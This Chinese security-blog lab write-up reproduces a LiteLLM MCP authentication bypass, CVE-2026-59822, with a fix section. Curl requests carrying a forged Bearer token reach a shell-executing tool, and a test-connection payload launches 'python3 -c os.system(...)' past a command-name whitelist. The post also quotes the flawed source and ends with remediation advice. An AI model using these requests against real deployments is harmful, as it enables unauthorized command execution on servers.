← 返回列表

复现LiteLLM MCP通道CVE-2026-59822认证绕过与命令执行漏洞

单站 先知社区 入库 2026-11-18T13:40:08

复现LiteLLM MCP通道CVE-2026-59822认证绕过与命令执行漏洞

野指针

·2026-11-13 21:16·20 分钟·29·印度·AI专栏

本文复现LiteLLM的CVE-2026-59822漏洞,通过伪造Bearer令牌绕过MCP通道认证,利用process_mcp_request异常处理缺陷实现命令执行。

1. 实验环境

Linux 6.19.11+kali-amd64 x86_64
PRETTY_NAME="Kali GNU/Linux Rolling"
Python 3.13.18
fastapi                   0.124.4
fastapi-sso               0.16.0
litellm                   1.83.6
litellm-enterprise        0.1.37
litellm-proxy-extras      0.4.65
mcp                       1.26.0
prisma                    0.15.0
sse-starlette             3.7.0
starlette                 0.50.0
uvicorn                   0.33.0

Python 3.13.18,litellm 1.83.6,其中 MCP 部分依赖 mcp 1.26.0,HTTP 层是 fastapi 0.124.4 + starlette 0.50.0 + uvicorn 0.33.0,数据库访问走 prisma 0.15.0。

拓扑很简单,一个代理进程加一个由它拉起来的子进程:

子进程不是网络服务,只跟父进程通过标准输入输出说话。这一点决定了后面所有关于 MCP 的观察都在同一个进程树里发生。

版本先确认清楚,顺手把后面每条 curl 都要用的三个变量存进 shell:

API=http://127.0.0.1:4000/demo_stdio/mcp; CT='Content-Type: application/json'; AC='Accept: application/json, text/event-stream'; echo "API=$API"; /tmp/lv13/bin/pip show litellm | head -2

API 是请求地址,CT 是 Content-Type,AC 是 Accept。

Accept: application/json, text/event-stream 这个头不能省。MCP 的 Streamable HTTP 传输要求客户端同时接受 JSON 和事件流,只给 application/json 会被服务端拒掉,而拒绝的理由跟认证毫无关系,看报错很容易误以为是凭证问题。

2. 实验构成

实验就三类:代理配置 config.yaml、自己写的 MCP 服务器 demo_mcp.py、五份 JSON-RPC 请求体。关系如下:

先看配置:

config.yaml

     1  model_list:
     2    - model_name: gpt-4o-mini
     3      litellm_params:
     4        model: openai/gpt-4o-mini
     5        api_key: sk-placeholder-not-used
     6  
     7  mcp_servers:
     8    demo_stdio:
     9      transport: stdio
    10      command: /tmp/lv13/bin/python3
    11      args:
    12        - /tmp/lab2/demo_mcp.py
    13      description: demo stdio mcp server
    14      allow_all_keys: true
    15  
    16  general_settings:
    17    master_key: sk-litellm-master-0001
    18    database_url: postgresql://llmuser:llmpass@127.0.0.1:5432/litellm

几处关键项:

demo_mcp.py

     1  import subprocess
     2  from mcp.server.fastmcp import FastMCP
     3  
     4  mcp = FastMCP("demo")
     5  
     6  
     7  @mcp.tool()
     8  def add(a: int, b: int) -> int:
     9      """Add two integers."""
    10      return a + b
    11  
    12  
    13  @mcp.tool()
    14  def whoami() -> str:
    15      """Return the account the MCP server runs as."""
    16      import getpass
    17      return getpass.getuser()
    18  
    19  
    20  @mcp.tool()
    21  def run_cmd(cmd: str) -> str:
    22      """Run a shell command and return its output."""
    23      return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout
    24  
    25  
    26  if __name__ == "__main__":
    27      mcp.run()

服务器 27 行,三个工具:add 做加法,whoami 返回运行账号,run_cmd 收一个字符串然后用 shell=True 执行。把命令执行包成工具,在真实项目里确实存在,这里这么写不是要讨论它本身安不安全,而是为了让"谁调用了这个工具"变得可见——调用成功就能拿到 42、账号名和本机命令回显,比任何日志都直观。

五份请求体分别对应握手、列工具、调 add、调 run_cmd、调 whoami:

cat -n /tmp/lab2/p_init.json /tmp/lab2/p_tools.json

cat -n /tmp/lab2/p_call.json /tmp/lab2/p_rce.json /tmp/lab2/p_who.json

3. 启动 4000

setsid /tmp/lv13/bin/litellm --config /tmp/lab2/config.yaml --port 4000 > /tmp/lab2/proxy.log 2>&1 < /dev/null & sleep 25; ss -lntp | grep 4000; curl -s -o /dev/null -w 'HEALTH=%{http_code}\n' http://127.0.0.1:4000/health/liveliness

各段在干什么:

回显里的 [1] + done 是 shell 汇报后台任务结束,这一行里 > 2> 后面被终端截短了,/tmp/lab2/proxy.log 和 2>&1 < /dev/null 都在命令里,只是回显没打全。setsid 已经把进程交给 init 了,父 shell 的任务表自然显示结束,而下面 ss 的监听记录里 pid=2885694 说明进程活得好好的。这两件事同时出现很正常,别把它当成进程崩了。

4. 管理员密钥基线

在说缺陷之前,得先证明正常路径是通的,不然后面任何异常都没法归因。

curl -s -i -X POST http://127.0.0.1:4000/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer sk-litellm-master-0001' -d @/tmp/lab2/p_call.json

2 + 40 = 42,isError: false。管理员密钥能正常调工具,配置、路径、工具名前缀、请求格式全都没问题。这一步定了性:后面出现的 200 或者 500,都是认证逻辑自己的事,不是环境没搭好。

5. 无凭证:返回 500 而不是 401

第一次觉得不对劲,是在不带任何凭证的时候。按理说没令牌就该是 401,实际回的是 500。

API=http://127.0.0.1:4000/demo_stdio/mcp; curl -s -i -X POST $API -H "$CT" -H "$AC" -d @p_init.json

响应体只有一句 MCP request failed,details 是空的。认证环节抛的异常压根没被翻译成 401,一路冒泡到 MCP 请求处理层,被最外层统一兜成了 500。

再试一次,这回把 key 头写上,名字对、值不对:

API=http://127.0.0.1:4000/demo_stdio/mcp; curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'x-litellm-api-key: sk-not-a-real-key' -d @p_init.json

两种情况的对外表现完全一样:缺凭证和凭证错,都是 500 加空 details。站在攻击者角度这只是噪声,换个方式再试就是了。

6. 假 Bearer:从握手到命令执行

换一个根本不存在的令牌试试:Authorization: Bearer fake-token-abc。

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_init.json

200,握手成功,协议版本和服务信息都回来了。继续列工具:

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_tools.json

三个工具全在,包括 run_cmd。

调 add:

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_call.json

42,isError: false。假令牌不止能握手,工具也能调。

接着调 run_cmd,参数用 id,想确认命令到底执行没有、以什么身份执行:

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_rce.json

uid=1000(nl),这个账号还在 sudo 组里。命令是以 MCP 子进程的运行身份执行的。从网关外面看,一个不含任何有效凭证的请求,拿到了命令执行结果。

再补一发 whoami,把执行身份固定下来:

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_who.json

整个链条串起来是这样:

五个请求,五次 200。缺陷的第一种形态成立:一个格式正确但根本不存在的 Bearer 令牌,被当成了合法调用方。

7. 对照一:关闭 allow_all_keys

最直接的假设是 allow_all_keys: true 太宽松了。那就关掉,重建配置。顺便再存一份同时移除 database_url 的,留给第 8 章。

sed 's/allow_all_keys: true/allow_all_keys: false/' /tmp/lab2/config.yaml > /tmp/lab2/config_false.yaml; grep -v 'database_url' /tmp/lab2/config.yaml > /tmp/lab2/config_nodb.yaml; grep -n 'allow_all_keys\|database_url' /tmp/lab2/config.yaml /tmp/lab2/config_false.yaml /tmp/lab2/config_nodb.yaml

末尾那条 grep 把三份文件的关键配置一起打了出来:config_false.yaml 第 14 行已经是 false,其余照旧;config_nodb.yaml 第 14 行仍然是 true,database_url 整行不见了。

三份配置的分叉就是一次改动:

setsid /tmp/lv13/bin/litellm --config /tmp/lab2/config_false.yaml --port 4001 > /tmp/lab2/proxy4001.log 2>&1 < /dev/null & sleep 25; ss -lntp | grep 4001; curl -s -o /dev/null -w 'HEALTH4001=%{http_code}\n' http://127.0.0.1:4001/health/liveliness

4001 起来了。同一个假令牌,先握手:

curl -s -i -X POST http://127.0.0.1:4001/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_init.json

还是 200。再列工具:

curl -s -i -X POST http://127.0.0.1:4001/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_tools.json

状态码 200,工具列表是空的。不是 401,不是 403,也不是错误响应,就是一个合法的"这个服务器没有工具"。继续调:

curl -s -i -X POST http://127.0.0.1:4001/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_call.json

调用被拒了,isError: true 加 User not allowed to call this tool.,HTTP 状态码照样是 200。

这组结果指向两套机制的分离:认证回答"你是谁",授权回答"你能做什么"。关掉 allow_all_keys 只让后者生效——握手依旧成功,假令牌仍然被当成一个有效的、只是没什么权限的调用方接受,前面那步压根没发生。只按状态码做监控的话,这三发请求都会被记成成功。

8. 对照二:移除 database_url

第三种配置:allow_all_keys: true 留着,database_url 删掉,换配置把 4002 起起来。

setsid /tmp/lv13/bin/litellm --config /tmp/lab2/config_nodb.yaml --port 4002 > /tmp/lab2/proxy4002.log 2>&1 < /dev/null & sleep 25; ss -lntp | grep 4002; curl -s -o /dev/null -w 'HEALTH4002=%{http_code}\n' http://127.0.0.1:4002/health/liveliness

四发请求依次是握手、列工具、命令执行,外加一次不带任何凭证的握手:

curl -s -i -X POST http://127.0.0.1:4002/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_init.json

curl -s -i -X POST http://127.0.0.1:4002/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_tools.json

curl -s -i -X POST http://127.0.0.1:4002/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_rce.json

curl -s -i -X POST http://127.0.0.1:4002/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -d @/tmp/lab2/p_init.json

四条全是 500。4000 和 4001 的配置里都有 database_url,4002 一点没有,差异只能从日志里读:

grep -nE 'in (handle_streamable_http_mcp|extract_mcp_auth_context|process_mcp_request|user_api_key_auth|_user_api_key_auth_builder|_handle_authentication_error)' /tmp/lab2/proxy4002.log | head -7

日志里同一次 500 会打两遍 traceback,一条来自认证函数、一条来自 MCP 处理层,所以同一个函数会在不同位置各出现一次,行号是最左那列的日志行号。再看时间线:

grep -n 'ERROR' /tmp/lab2/proxy4002.log | head -8

堆栈里能读出三件事。

4000 和 4001 为什么没出现这种 500,得分两步看。4002 没数据库,认证函数对这条假令牌只能抛 ProxyException(code=400);而第 9 章那段源码的捕获条件只认 401 和 403,400 不在里面,异常被重新抛出,最终变成 500。4000 和 4001 都留着 database_url,库能连上,同一个假令牌走的是另一条失败路径:查库没这个令牌,认证失败。这类失败不在 no_db_connection 分支里,也不会被包装成 code=400。如果它同样是 code=400,结果必然和 4002 一样,可实测拿到的是 200,说明它属于能被 try/except 抓住的那一类,随后被当成上游 OAuth2 令牌放行。

一头 4002 全 500,一头 4000 全 200,配置上唯一的功能差异就是数据库在不在。

ProxyException 的返回码值得单独拿出来看。它自己标着 code=400(第 1173 行写死的),客户端收到的却是 500,中间一次异常转换把状态码弄丢了:

sed -n '1155,1185p' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/auth/user_api_key_auth.py

prisma_client is None 时,管理员密钥之外的令牌一律被拒,理由 No connected db.,标称 code=400。往深一层看,fail closed 的意图没错——没库就验不了令牌,就该拒——但这个拒绝在 MCP 通道上没被翻译成 400 或者 401,而是以 500 收场。

9. 源码定位:四个分支

三组现象对应的是同一段代码,分叉点在 user_api_key_auth_mcp.py 的 process_mcp_request:

`sed -n '120,175p' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/_experimental/mcp_server/auth/user_api_key_auth_mcp.py````
validated_user_api_key_auth = UserAPIKeyAuth()
elif has_explicit_litellm_key:
# Explicit x-litellm-api-key provided - always validate normally
validated_user_api_key_auth = await user_api_key_auth(
api_key=litellm_api_key, request=request
)
elif oauth2_headers:
# No x-litellm-api-key, but Authorization header present.
# Could be a LiteLLM key (backward compat) OR an OAuth2 token
# from an upstream MCP provider (e.g. Atlassian).
# Try LiteLLM auth first; on auth failure, treat as OAuth2 passthrough.
try:
validated_user_api_key_auth = await user_api_key_auth(
api_key=litellm_api_key, request=request
)
except HTTPException as e:
if e.status_code in (401, 403):
verbose_logger.debug(
"MCP OAuth2: Authorization header is not a valid LiteLLM key, "
"treating as OAuth2 token passthrough"
)
validated_user_api_key_auth = UserAPIKeyAuth()
else:
raise
except ProxyException as e:
if str(e.code) in ("401", "403"):
verbose_logger.debug(
"MCP OAuth2: Authorization header is not a valid LiteLLM key, "
"treating as OAuth2 token passthrough"
)
validated_user_api_key_auth = UserAPIKeyAuth()
else:
raise
else:
validated_user_api_key_auth = await user_api_key_auth(
api_key=litellm_api_key, request=request
)
return (
validated_user_api_key_auth,
mcp_auth_header,
mcp_servers,
mcp_server_auth_headers,
oauth2_headers,
dict(headers),
)

命令取的是第 120 到 175 行。末尾那些 `return` 把变量交回调用方,紧跟其后的 `@staticmethod` 是 `_get_mcp_auth_header_from_headers` 的定义,跟这个议题没关系。

这段代码有四个出口,走向各不相同:

前三个出口对应公开路由、`x-litellm-api-key` 那条路(第 5 章第二发请求,`sk-not-a-real-key`)和只有 Bearer 的那条路(第 6 章五个请求全部 200);最后一个出口对应第 5 章第一发和第 8 章第四发,那两发都没带任何凭证头。

真正决定结果的是第二个 `elif`,判断的是变量 `oauth2_headers`:请求带 `Authorization` 又不带 `x-litellm-api-key` 时,会被当成"可能是上游 OAuth2 提供方的令牌",进那段 `try/except`。初衷是兼容性——MCP 允许把上游服务的令牌透传给下游,网关没法预先分辨一个 Bearer 值到底是自己的虚拟密钥还是上游 OAuth2 令牌。于是策略变成了"先按自己的密钥验一遍,验不过就当上游令牌放过"。

问题出在两处。"验证失败"的判定被写死成 `401` 和 `403` 两个码;失败之后构造的是一个完整的空认证对象 `UserAPIKeyAuth()`。空对象在后续逻辑里不表示"未认证",它表示"已认证,但什么权限属性都没有"。于是:

- 4000(`allow_all_keys: true`)不需要额外权限,空对象的请求被放行,工具直接能调,就是第 6 章那五个 200。

- 4001(`allow_all_keys: false`)调工具需要权限,空对象没有,工具列表为空、调用被拒,而握手这类不需要权限的动作照样 200。

这解释了一个很容易误判的现象:把 `allow_all_keys` 改成 `false` 看着像修好了,其实只堵住工具调用层,认证层照样敞开。真要限制某个 MCP 服务器只给特定调用方用,配置里必须给出额外授权,可认证和授权混在同一处判断里,很容易在"给某类调用方开权限"的同时,把"不校验身份"一起带进来。

4002 全拒也是这段代码定的:没数据库时 `user_api_key_auth` 对任何非管理员令牌都抛 `ProxyException(code=400)`。`ProxyException` 在捕获列表里,但判定条件是 `str(e.code) in ("401", "403")`,`400` 不在其中,于是一个 `raise` 重新抛出,异常继续上浮成 500。三个端口的行为差异,说到底就是这一处判断跟 `allow_all_keys` 的组合。

## 10. REST 通道:/mcp-rest/test/connection 的命令执行

除了 MCP 数据通道,LiteLLM 还暴露一批 REST 管理接口,其中 `/mcp-rest/test/connection` 用于"添加 MCP 服务器之前先测一下连不连得上"。它的鉴权方式跟 MCP 通道不是一回事,同一套认证代码在另一个入口上的表现值得单独看。

请求体就是要代理启动的 stdio 服务器描述。先构造 payload:`command` 填 `python3`,`args` 用 `-c` 执行一段把 `id` 写进文件的代码。

`echo '{"server_name": "pwn", "transport": "stdio", "command": "python3", "args": ["-c", "import os; os.system(\"id > /tmp/lab2/pwn.txt\")"]}' > /tmp/lab2/tc_py.json; cat /tmp/lab2/tc_py.json`
![](https://xzfile.aliyuncs.com/media/upload/picture/20261113212431-8fa1c7d5-df65-1.png)

先拿假令牌试:

`curl -s -i -X POST http://127.0.0.1:4000/mcp-rest/test/connection -H "$CT" -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/tc_py.json`
![](https://xzfile.aliyuncs.com/media/upload/picture/20261113212432-8fe84a73-df65-1.png)

401,错误信息很明确,要求以 `sk-` 开头的虚拟密钥,还对收到的值做了掩码(`fake****-abc`)。同一份代码、同一个假令牌,REST 入口给 401,MCP 入口给 200。差别不在认证函数本身,而在 MCP 入口那层 `try/except` 把失败吞了。

再换管理员密钥:

`rm -f /tmp/lab2/pwn.txt; curl -s -i -X POST http://127.0.0.1:4000/mcp-rest/test/connection -H "$CT" -H 'Authorization: Bearer sk-litellm-master-0001' -d @/tmp/lab2/tc_py.json; echo '--- pwn.txt ---'; cat /tmp/lab2/pwn.txt`
![](https://xzfile.aliyuncs.com/media/upload/picture/20261113212432-90309f54-df65-1.png)

这段的含义特别容易被读反:

- 响应是 `status: error`、`Failed to connect to MCP server`,只看响应体会以为命令根本没跑。

- 可 `cat` 出来的 `pwn.txt` 里已经有 `uid=1000(nl)` 了。文件就是这次请求过程中建的,子进程确实起来了,并且执行了命令。

- 两件事同时成立:子进程启动、执行 `python3 -c`、把 `id` 结果写进文件;之后代理要通过 MCP 协议跟这个子进程握手,而这个进程执行完就退出、压根不实现 MCP 协议,握手必然失败。连接测试报失败,目标命令已经完成。

危险的地方就在于这个接口把"启动进程"和"验证连接"合成一个动作,而进程一启动,命令就已经执行了。能调这个接口的人等于拿到一次任意命令执行机会,不需要任何 MCP 服务器配合,也不需要连接成功。`_execute_with_mcp_client` 就是按请求体里的 `command` 和 `args` 创建子进程、再尝试建 MCP 会话的那个函数。

这个接口的鉴权要求得看实现。先定位入口在哪一行:

`grep -n 'test/connection' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/_experimental/mcp_server/rest_endpoints.py | head -3`
![](https://xzfile.aliyuncs.com/media/upload/picture/20261113212433-90a9d1b9-df65-1.png)

第 1021 行就是注册入口,往下看它的依赖与角色校验:

`sed -n '1021,1050p' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/_experimental/mcp_server/rest_endpoints.py````
    @router.post("/test/connection", dependencies=[Depends(user_api_key_auth)])
    async def test_connection(
        request: Request,
        new_mcp_server_request: NewMCPServerRequest,
        user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth),
    ):
        """
        Test if we can connect to the provided MCP server before adding it
        """
        if LitellmUserRoles.PROXY_ADMIN != user_api_key_dict.user_role:
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail={
                    "error": "User does not have permission to test MCP server connections. Only PROXY_ADMIN users can perform this action."
                },
            )
        async def _test_connection_operation(client):
            async def _noop(session):
                return "ok"
            await client.run_with_session(_noop)
            return {"status": "ok"}
        return await _execute_with_mcp_client(
            new_mcp_server_request,
            _test_connection_operation,
            raw_headers=_safe_get_request_headers(request),
        )

控制比 MCP 通道严谨得多:先靠 user_api_key_auth 认证,再显式要求角色为 PROXY_ADMIN,否则 403。所以这里请求成功的前提是手里有管理员密钥,不是绕过认证。这两件事得分清楚——第 6 章那个假令牌通过属于认证缺陷,这一节的命令执行属于管理员权限下的功能被滥用。

11. 白名单:basename 校验的边界

同一个接口换第二个 payload:command 直接写 /bin/bash,args 用 -c 做同样的 id 重定向。

echo '{"server_name": "pwn", "transport": "stdio", "command": "/bin/bash", "args": ["-c", "id > /tmp/lab2/pwn.txt"]}' > /tmp/lab2/tc_bash.json; cat /tmp/lab2/tc_bash.json``curl -s -i -X POST http://127.0.0.1:4000/mcp-rest/test/connection -H "$CT" -H 'Authorization: Bearer sk-litellm-master-0001' -d @/tmp/lab2/tc_bash.json

422,理由是 '/bin/bash' is not in the allowed commands list,允许的是 deno、docker、node、npx、python、python3、uvx 七个。

名单里有 python3,而 python 能执行任意系统命令是常识(os.system、subprocess)。这份白名单到底能约束什么,得看实现:

sed -n '1168,1190p' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/_types.py

实现本身没写错,注释也标了目的是 prevent arbitrary execution。但它只比较 os.path.basename(command) 在不在集合里,压根不看 args 装了什么:

白名单只挡住了把 shell 直接写进 command 这一种形式,换成任何能执行代码的解释器就失效了。集合里的 docker、node、deno、uvx 都能达到同样效果。问题不在某个具体参数,而在"用命令名白名单来实现命令执行防护"这个思路本身的局限:命令名描述的是入口程序,不描述它被要求干什么。

12. 修复建议

按改动成本从低到高排,前三条针对这次复现到的具体缺陷,后四条针对设计层面。

  1. 认证失败时不要构造空认证对象。process_mcp_request 的 except 分支应该保留失败状态,或者抛一个专门的未授权异常,由上游统一转成 401,而不是把 UserAPIKeyAuth() 当成通过凭证继续往下走。

  2. OAuth2 透传要显式开关。判断"这个 Bearer 是上游令牌"不能依赖"先验一遍、失败就算上游",应该基于配置项或者专用请求头(例如 x-mcp-upstream-auth),否则随便伪造一个值都能落进透传分支。

  3. ProxyException 的捕获条件不能只看 401/403。str(e.code) in ("401", "403") 让 code=400 的 no_db_connection 漏出了捕获范围,最后变成 500。应该把这类异常统一映射到 4xx,或者在 MCP 处理层加一层兜底转换,把 ProxyErrorTypes 翻译成对应的 HTTP 状态码。

  4. 认证失败和"没有数据库"在响应上要能区分。现在一律 MCP request failed 加空 details,运维分不清是配置问题还是凭证问题。至少让 details 带上 ProxyErrorTypes 的值,或者在日志里用固定关键字标注,方便告警规则命中。

  5. 命令名白名单不能当作命令执行防护。如果目标是限制 stdio 服务器的能力,应该改成容器化运行(限定镜像、只读文件系统、去掉网络、非 root、挂载白名单),或者在子进程层限制系统调用。非留白名单不可的话,得承认 python、node、docker、uvx 的存在已经等同于"允许执行任意代码",文档和告警里就不要再写成"防止任意命令执行"。

  6. /mcp-rest/test/connection 和"添加 MCP 服务器"应该分开。连接测试不该真的启动目标进程,至少加二次确认、超时强杀,以及"测试模式只允许内置 echo 服务器"这类限制。现在这个实现里进程启动就等于命令执行,测试接口实际成了执行入口。

  7. 对外暴露的 MCP 通道路径应该收口。实验里 demo_stdio 这个名字直接成了外部可访问的 /demo_stdio/mcp,.well-known 路径还跳过认证。生产环境建议在网关前面再加一层统一鉴权,别只靠应用层这一道判断。

评论

相关阅读

基于机器学习的jsp/jspx webshell检测前言
在上文《基于AST的Webshell检测》中,笔者已经提出了基于抽象语法树是可以用来检测Webshell的,那么如何将这种思想应用在jsp/jspx的webshell检测便是本文讨论的重点。
简单回顾下抽象语法树的检测原来,由于webshell和正常文件在语法结构上会有比较明显的出入,比如说一句话木马普遍流程就是传参然后执行命令,转化为语法结构上其实是比较单一的,正常文件的语法结构会比这复杂ADog16K01

恶意样本家族分类实践前记
最近有一个项目需求,需要将恶意样本的厂商描述给汇聚成一组统一的标签,然后后续需要对恶意样本的流量及行为进行特征提取和机器学习来实现恶意样本的检测。
简单点来讲所做的恶意样本家族分类其实就是一个数据清洗和打标签的过程。
数据样本量有90000多条,主要采集于virusshare,这里就以virustotal为例,实际效果其实是一样的
这里大概有大概几十家厂商,但是各家厂商的标签都不一样,甚至ADog16K13

深度学习在恶意软件检测中的应用事实证明,机器学习在网络和安全相关领域的应用非常有效。深度学习在语音识别、目标检测、自然语言处理等许多机器学习任务上的性能更佳。本文介绍深度学习在安全领域的一些应用。
Tobiyama提出一种基于进程行为进行恶意进程检测到方法,研究人员利用LSTM(Long Short-Term Memory,长短期记忆网络)进行特征提取,用CNN(Convolutional Neural Networks,卷积angel01016K00

基于AST的Webshell检测前言
想了好久的题目,不知道该用什么样的标题去吸引人,webshell的检测研究已经有很多文章披露了,在兜哥的机器学习书中也被反复作为案例提及,这里Webshell检测都是基于文件特征的,并不是基于流量特征的检测。
个人思考
在查阅了大量论文研究和实际案例后发现国内在webshell检测上的思路似乎没有什么新的突破,总结下来Webshell检测其实无外乎统计学检测、基于黑白名单的检测、基于opcoADog15K05

基于机器学习的家用物联网设备DDoS检测Rohan Doshi, Noah Apthorpe, Nick Feamster
Princeton University
来源:https://arxiv.org/abs/1804.04159
0x00 摘要
尽管越来越多的物联网(IoT)设备连接到互联网,但其中许多设备并不安全,进一步恶化了互联网环境。利用不安全的家用物联网设备,一些僵尸网络(如Mirai)对关键基础设施进行分布式拒绝服务pingch15K20

原文链接:https://xz.aliyun.com/news/93317